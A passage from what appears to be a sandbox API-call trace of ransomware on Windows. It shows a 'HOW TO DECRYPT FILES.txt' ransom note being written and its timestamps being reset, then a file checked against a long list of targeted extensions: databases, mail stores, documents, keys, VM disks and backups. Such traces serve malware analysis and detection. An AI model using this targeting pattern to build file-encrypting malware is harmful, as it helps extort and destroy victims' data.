lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\HOW TO DECRYPT FILES.txt" [0105.009] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.linq\\748de10ea72fad908022d9507c7304fc\\how to decrypt files.txt")) returned 0xffffffff [0105.009] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.linq\\748de10ea72fad908022d9507c7304fc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.010] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.012] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.012] CloseHandle (hObject=0x90) returned 1 [0105.013] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\", lpString2="System.Data.Linq.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll" [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.ems") returned 0 [0105.013] lstrlenA (lpString="*.ems") returned 5 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.db") returned 0 [0105.013] lstrlenA (lpString="*.db") returned 4 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.dbf") returned 0 [0105.013] lstrlenA (lpString="*.dbf") returned 5 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.myox") returned 0 [0105.013] lstrlenA (lpString="*.myox") returned 6 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.myo") returned 0 [0105.013] lstrlenA (lpString="*.myo") returned 5 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qbw") returned 0 [0105.013] lstrlenA (lpString="*.qbw") returned 5 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qbb") returned 0 [0105.013] lstrlenA (lpString="*.qbb") returned 5 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qbm") returned 0 [0105.013] lstrlenA (lpString="*.qbm") returned 5 [0105.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qbo") returned 0 [0105.013] lstrlenA (lpString="*.qbo") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qbx") returned 0 [0105.014] lstrlenA (lpString="*.qbx") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qba") returned 0 [0105.014] lstrlenA (lpString="*.qba") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qby") returned 0 [0105.014] lstrlenA (lpString="*.qby") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qbj") returned 0 [0105.014] lstrlenA (lpString="*.qbj") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.ofx") returned 0 [0105.014] lstrlenA (lpString="*.ofx") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.qif") returned 0 [0105.014] lstrlenA (lpString="*.qif") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mye") returned 0 [0105.014] lstrlenA (lpString="*.mye") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mbox") returned 0 [0105.014] lstrlenA (lpString="*.mbox") returned 6 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.eml") returned 0 [0105.014] lstrlenA (lpString="*.eml") returned 5 [0105.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.pst") returned 0 [0105.015] lstrlenA (lpString="*.pst") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.ost") returned 0 [0105.015] lstrlenA (lpString="*.ost") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.idx") returned 0 [0105.015] lstrlenA (lpString="*.idx") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.dbx") returned 0 [0105.015] lstrlenA (lpString="*.dbx") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.sql") returned 0 [0105.015] lstrlenA (lpString="*.sql") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mdb") returned 0 [0105.015] lstrlenA (lpString="*.mdb") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.fdb") returned 0 [0105.015] lstrlenA (lpString="*.fdb") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.wab") returned 0 [0105.015] lstrlenA (lpString="*.wab") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.dat") returned 0 [0105.015] lstrlenA (lpString="*.dat") returned 5 [0105.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.txt") returned 0 [0105.015] lstrlenA (lpString="*.txt") returned 5 [0105.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.jpeg") returned 0 [0105.016] lstrlenA (lpString="*.jpeg") returned 6 [0105.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.jpg") returned 0 [0105.016] lstrlenA (lpString="*.jpg") returned 5 [0105.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.png") returned 0 [0105.016] lstrlenA (lpString="*.png") returned 5 [0105.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.php") returned 0 [0105.016] lstrlenA (lpString="*.php") returned 5 [0105.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.cs") returned 0 [0105.022] lstrlenA (lpString="*.cs") returned 4 [0105.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.cpp") returned 0 [0105.022] lstrlenA (lpString="*.cpp") returned 5 [0105.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.rar") returned 0 [0105.022] lstrlenA (lpString="*.rar") returned 5 [0105.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.zip") returned 0 [0105.022] lstrlenA (lpString="*.zip") returned 5 [0105.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.html") returned 0 [0105.022] lstrlenA (lpString="*.html") returned 6 [0105.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.htm") returned 0 [0105.022] lstrlenA (lpString="*.htm") returned 5 [0105.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.xlsx") returned 0 [0105.022] lstrlenA (lpString="*.xlsx") returned 6 [0105.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.xls") returned 0 [0105.022] lstrlenA (lpString="*.xls") returned 5 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mp4") returned 0 [0105.023] lstrlenA (lpString="*.mp4") returned 5 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.ppt") returned 0 [0105.023] lstrlenA (lpString="*.ppt") returned 5 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.pptx") returned 0 [0105.023] lstrlenA (lpString="*.pptx") returned 6 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.doc") returned 0 [0105.023] lstrlenA (lpString="*.doc") returned 5 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.dot") returned 0 [0105.023] lstrlenA (lpString="*.dot") returned 5 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.docx") returned 0 [0105.023] lstrlenA (lpString="*.docx") returned 6 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.7z") returned 0 [0105.023] lstrlenA (lpString="*.7z") returned 4 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.tar") returned 0 [0105.023] lstrlenA (lpString="*.tar") returned 5 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.bz2") returned 0 [0105.023] lstrlenA (lpString="*.bz2") returned 5 [0105.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.gz") returned 0 [0105.024] lstrlenA (lpString="*.gz") returned 4 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mkv") returned 0 [0105.024] lstrlenA (lpString="*.mkv") returned 5 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.eml") returned 0 [0105.024] lstrlenA (lpString="*.eml") returned 5 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.msg") returned 0 [0105.024] lstrlenA (lpString="*.msg") returned 5 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.edb") returned 0 [0105.024] lstrlenA (lpString="*.edb") returned 5 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.accdb") returned 0 [0105.024] lstrlenA (lpString="*.accdb") returned 7 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.odb") returned 0 [0105.024] lstrlenA (lpString="*.odb") returned 5 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.java") returned 0 [0105.024] lstrlenA (lpString="*.java") returned 6 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.asm") returned 0 [0105.024] lstrlenA (lpString="*.asm") returned 5 [0105.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.pfx") returned 0 [0105.025] lstrlenA (lpString="*.pfx") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.pem") returned 0 [0105.025] lstrlenA (lpString="*.pem") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.p12") returned 0 [0105.025] lstrlenA (lpString="*.p12") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.gpg") returned 0 [0105.025] lstrlenA (lpString="*.gpg") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.vsd") returned 0 [0105.025] lstrlenA (lpString="*.vsd") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.odg") returned 0 [0105.025] lstrlenA (lpString="*.odg") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.raw") returned 0 [0105.025] lstrlenA (lpString="*.raw") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.nef") returned 0 [0105.025] lstrlenA (lpString="*.nef") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.svg") returned 0 [0105.025] lstrlenA (lpString="*.svg") returned 5 [0105.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.psd") returned 0 [0105.026] lstrlenA (lpString="*.psd") returned 5 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.vmx") returned 0 [0105.026] lstrlenA (lpString="*.vmx") returned 5 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.vmdk") returned 0 [0105.026] lstrlenA (lpString="*.vmdk") returned 6 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.vdi") returned 0 [0105.026] lstrlenA (lpString="*.vdi") returned 5 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.lay6") returned 0 [0105.026] lstrlenA (lpString="*.lay6") returned 6 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mpeg") returned 0 [0105.026] lstrlenA (lpString="*.mpeg") returned 6 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.djvu") returned 0 [0105.026] lstrlenA (lpString="*.djvu") returned 6 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.tiff") returned 0 [0105.026] lstrlenA (lpString="*.tiff") returned 6 [0105.026] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.backup") returned 0 [0105.026] lstrlenA (lpString="*.backup") returned 8 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.pdf") returned 0 [0105.027] lstrlenA (lpString="*.pdf") returned 5 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.cert") returned 0 [0105.027] lstrlenA (lpString="*.cert") returned 6 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.docm") returned 0 [0105.027] lstrlenA (lpString="*.docm") returned 6 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.xlsm") returned 0 [0105.027] lstrlenA (lpString="*.xlsm") returned 6 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.dwg") returned 0 [0105.027] lstrlenA (lpString="*.dwg") returned 5 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.nd") returned 0 [0105.027] lstrlenA (lpString="*.nd") returned 4 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.tlg") returned 0 [0105.027] lstrlenA (lpString="*.tlg") returned 5 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.lgb") returned 0 [0105.027] lstrlenA (lpString="*.lgb") returned 5 [0105.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mov") returned 0 [0105.027] lstrlenA (lpString="*.mov") returned 5 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.xdw") returned 0 [0105.028] lstrlenA (lpString="*.xdw") returned 5 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.ods") returned 0 [0105.028] lstrlenA (lpString="*.ods") returned 5 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.wav") returned 0 [0105.028] lstrlenA (lpString="*.wav") returned 5 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.mp3") returned 0 [0105.028] lstrlenA (lpString="*.mp3") returned 5 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.aiff") returned 0 [0105.028] lstrlenA (lpString="*.aiff") returned 6 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.flac") returned 0 [0105.028] lstrlenA (lpString="*.flac") returned 6 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.m4a") returned 0 [0105.028] lstrlenA (lpString="*.m4a") returned 5 [0105.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\System.Data.Linq.ni.dll", pszSpec="*.csv") returned 0 [0105.028] lstrlenA (lpString="*.csv") returned 5 [0105.028] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ced9203, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1ced9203, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1cf4b624, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x266800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Linq.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.029] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.029] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d009d05, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d009d05, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, 